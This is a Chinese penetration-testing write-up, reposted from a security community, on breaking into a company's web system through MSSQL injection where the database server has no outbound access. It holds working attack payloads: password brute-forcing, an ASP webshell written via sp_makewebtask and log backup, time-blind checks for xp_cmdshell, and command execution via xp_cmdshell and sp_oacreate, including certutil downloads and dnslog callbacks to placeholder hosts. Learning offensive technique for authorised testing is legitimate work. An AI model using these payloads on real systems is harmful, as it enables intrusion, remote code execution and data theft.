|
文章来源:先知社区(海鸥i)
原文地址:https://xz.aliyun.com/t/11005
0x01 前言
某日接到一个项目,只给了一个二维码。
0x02 数据管理系统
扫描二维码后在页面下方得到该公司的名字,百度搜索该公司的名字,找到一个数据中心。
访问该页面后发现存在用户名遍历,使用Burp爆破"常见用户名Top500"得到三个账号,并成功爆出其中一个账号的密码。
登陆后发现大都是一些信息管理的功能,没有发现可利用的点。
可能是没有管理员账号,所以功能较少,这种后台感觉拿到管理员账号也有点悬,先看其他的。
0x03 旁站
2.1 登陆后台
该页面的账号是自动填充,输入密码点击登陆会报500。可能是密码错误的返回页面?一边爆破密码一边测其他漏洞。
现在的思路是进入后台测试是否可以Getshell、通过Sql注入进行Getshell。
使用万能密码进入后台,提示是游客权限,也没有什么利用点,准备获取管理员账号密码。
2.2 Mssql注入Get WebShell
经过简单的信息收集,得到该系统的信息 mssql 2012、dbo权限、win6.2。
常见的Getshell方法有写Webshell、通过扩展执行命令。打算先写Webshell,以免开启扩展执行命令过程中被杀软拦截打草惊蛇。
Mssql常用的写Webshell方法:差异备份、Log备份、sp_makewebtask等,写webshell的之前可以先写一个正常文件来确认可以写入。
权限:dbo、sa且对写入的路径有写权限
条件:存在sp_makewebtask扩展
大致思路是创建一个表,将十六进制的Webshell插入表中,使用sp_makewebtask导出表中的数据到指定文件。
';create table cmd (a image)--
';insert into cmd(a) values(0x616263)-- #webshell的16进制
';execute sp_makewebtask @outputfile='D:test1.txt','@query='select a from cmd'--
';drop table cmd--
exec sp_makewebtask 'c:wwwtestwr.asp','select''<%execute(request("zz"))%>'' '
;alter database 数据库名称 set RECOVERY FULL -- #将数据库设置为完整模式,完整模式会记录所有操作日志,支持备份日志。
;create table cmd (a image) --
;backup log db_name to disk = 'E:testtest.aspx' with init -- #备份db_name数据库的日志到指定文件头部
;insert into cmd (a) values ('hex_webshell')--
;backup log 数据库名称 to disk = 'E:testtest.aspx' --
@@servername > 0
select host_name > 0
2.3.1 判断扩展是否存在
使用扩展执行命令前一般先判断该扩展是否存在,Bool型判断语句在这不适用,无论返回的是True还是False都会报错。执行为true。
可能就是xp_cmdshell不存在,但在之后又尝试了几个扩展,都返回统一报错页面。
可以使用时间盲注判断。
';if(select count(*) from master.dbo.sysobjects where xtype ='x' and name = 'xp_cmdshell')=1 waitfor delay '0:0:5'--
2.3.2 xp_cmdshell
这里使用ping判断该命令是否成功执行,但执行完会一直卡在那。dnslog也没有回显,之后又尝试了http、dns协议也都没有回显。
;exec master..xp_cmdshell 'ping xxx.dnslog.cn'
;exec master..xp_cmdshell 'certutil -urlcache -f -split http://xxx/'
;exec master..xp_cmdshell 'nslookup xxx.dnslog.cn'
使用sp_oacreate执行命令,缺点是没有回显。延续xp_cmdshell的思路,先通过测试是否出网来确定命令是否成功执行。测试完发现和xp_cmdshell的结果一样,平台都接收不到请求。
这时我怀疑不是杀软的问题,可能是数据库服务器不出网?为了验证该想法,改用另一种方式来判断。
思路是执行命令并将执行结果写入本地文件,然后使用Bulk insert将命令回显读取到数据库,最后通过Sql查询就可以获取到命令执行结果。
执行命令将执行结果写入文件
;declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami > c:\1.txt';
create table testa(line text);bulk insert testa from 'c:\1.txt' with (fieldterminator='n',ROWTERMINATOR='nn');--
查询表中内容(命令执行结果)
and 1=(select top 1 * from 数据库名..testa FOR XML PATH(''))--
如果没杀软出现这种情况,可能因为命令还没执行完,等等就好了。
0x04 后记
后续测试xp_cmdshell其实也可以执行命令,不过也是没回显,思路和sp_oacreate一样。做完这些一看时间已经下午四点了,回想起上一次看到今天早上的阳光,还是在今天早上。
关 注 有 礼
还在等什么?赶紧点击下方名片关注学习吧!
推 荐 阅 读
欢 迎 私 下 骚 扰
原文始发于微信公众号(潇湘信安):记一次无回显不出网站库分离渗透
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论